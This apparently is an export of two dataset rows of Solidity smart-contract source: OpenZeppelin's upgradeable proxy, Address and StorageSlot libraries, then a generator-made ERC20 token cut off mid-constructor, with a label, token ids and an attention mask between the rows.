* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0-rc.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1006,
2197,
7172,
1058,
2549,
1012,
1019,
1012,
1014,
1011,
22110,
1012,
1014,
1007,
1006,
19706,
1013,
4433,
1011,
29464,
11890,
15136,
19317,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
9413,
2278,
15136,
19317,
1024,
5415,
12200,
3085,
24540,
3115,
1006,
1057,
22264,
1007,
5491,
1037,
4118,
2005,
12200,
8010,
2083,
1037,
11038,
1008,
24540,
3005,
18739,
2024,
3929,
4758,
2011,
1996,
2783,
7375,
1012,
1008,
1013,
8278,
29464,
11890,
15136,
19317,
21572,
14787,
3468,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
5527,
10453,
2008,
1996,
4013,
14787,
3468,
3206,
15980,
2003,
2108,
2109,
2000,
3573,
1996,
7375,
1008,
4769,
1012,
1008,
1008,
2590,
1024,
1037,
24540,
7302,
2012,
1037,
4013,
14787,
3468,
3206,
2323,
2025,
2022,
2641,
4013,
14787,
3468,
2993,
1010,
2138,
2023,
10831,
1008,
5318,
2075,
1037,
24540,
2008,
18739,
2000,
2009,
1010,
2011,
3972,
29107,
3436,
2000,
2993,
2127,
2041,
1997,
3806,
1012,
2947,
2009,
2003,
4187,
2008,
2023,
1008,
3853,
7065,
8743,
2065,
24959,
2083,
1037,
24540,
1012,
1008,
1013,
3853,
4013,
14787,
3468,
2226,
21272,
1006,
1007,
6327,
3193,
5651,
1006,
27507,
16703,
1007,
1025,
1065,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
24540,
1013,
9413,
2278,
16147,
2575,
2581,
1013,
9413,
2278,
16147,
2575,
2581,
21572,
18037,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1012,
1012,
1013,
24540,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
9413,
2278,
16147,
2575,
2581,
6279,
24170,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
2023,
3206,
22164,
2019,
12200,
3085,
24540,
1012,
2009,
2003,
12200,
3085,
2138,
4455,
2024,
11849,
2094,
2000,
2019,
1008,
7375,
4769,
2008,
2064,
2022,
2904,
1012,
2023,
4769,
2003,
8250,
1999,
5527,
1999,
1996,
3295,
9675,
2011,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
3476,
1031,
1041,
11514,
16147,
2575,
2581,
1033,
1010,
2061,
2008,
2009,
2987,
1005,
1056,
4736,
2007,
1996,
5527,
9621,
1997,
1996,
1008,
7375,
2369,
1996,
24540,
1012,
1008,
1013,
3206,
9413,
2278,
16147,
2575,
2581,
21572,
18037,
2003,
24540,
1010,
9413,
2278,
16147,
2575,
2581,
6279,
24170,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
12200,
3085,
24540,
2007,
2019,
3988,
7375,
9675,
2011,
1036,
1035,
7961,
1036,
1012,
1008,
1008,
2065,
1036,
1035,
2951,
1036,
2003,
3904,
27718,
2100,
1010,
2009,
1005,
1055,
2109,
2004,
2951,
1999,
1037,
11849,
2655,
2000,
1036,
1035,
7961,
1036,
1012,
2023,
2097,
4050,
2022,
2019,
12359,
1008,
3853,
2655,
1010,
1998,
4473,
3988,
21335,
3436,
1996,
5527,
1997,
1996,
24540,
2066,
1037,
5024,
3012,
9570,
2953,
1012,
1008,
1013,
9570,
2953,
1006,
4769,
1035,
7961,
1010,
27507,
3638,
1035,
2951,
1007,
3477,
3085,
1063,
20865,
1006,
1035,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
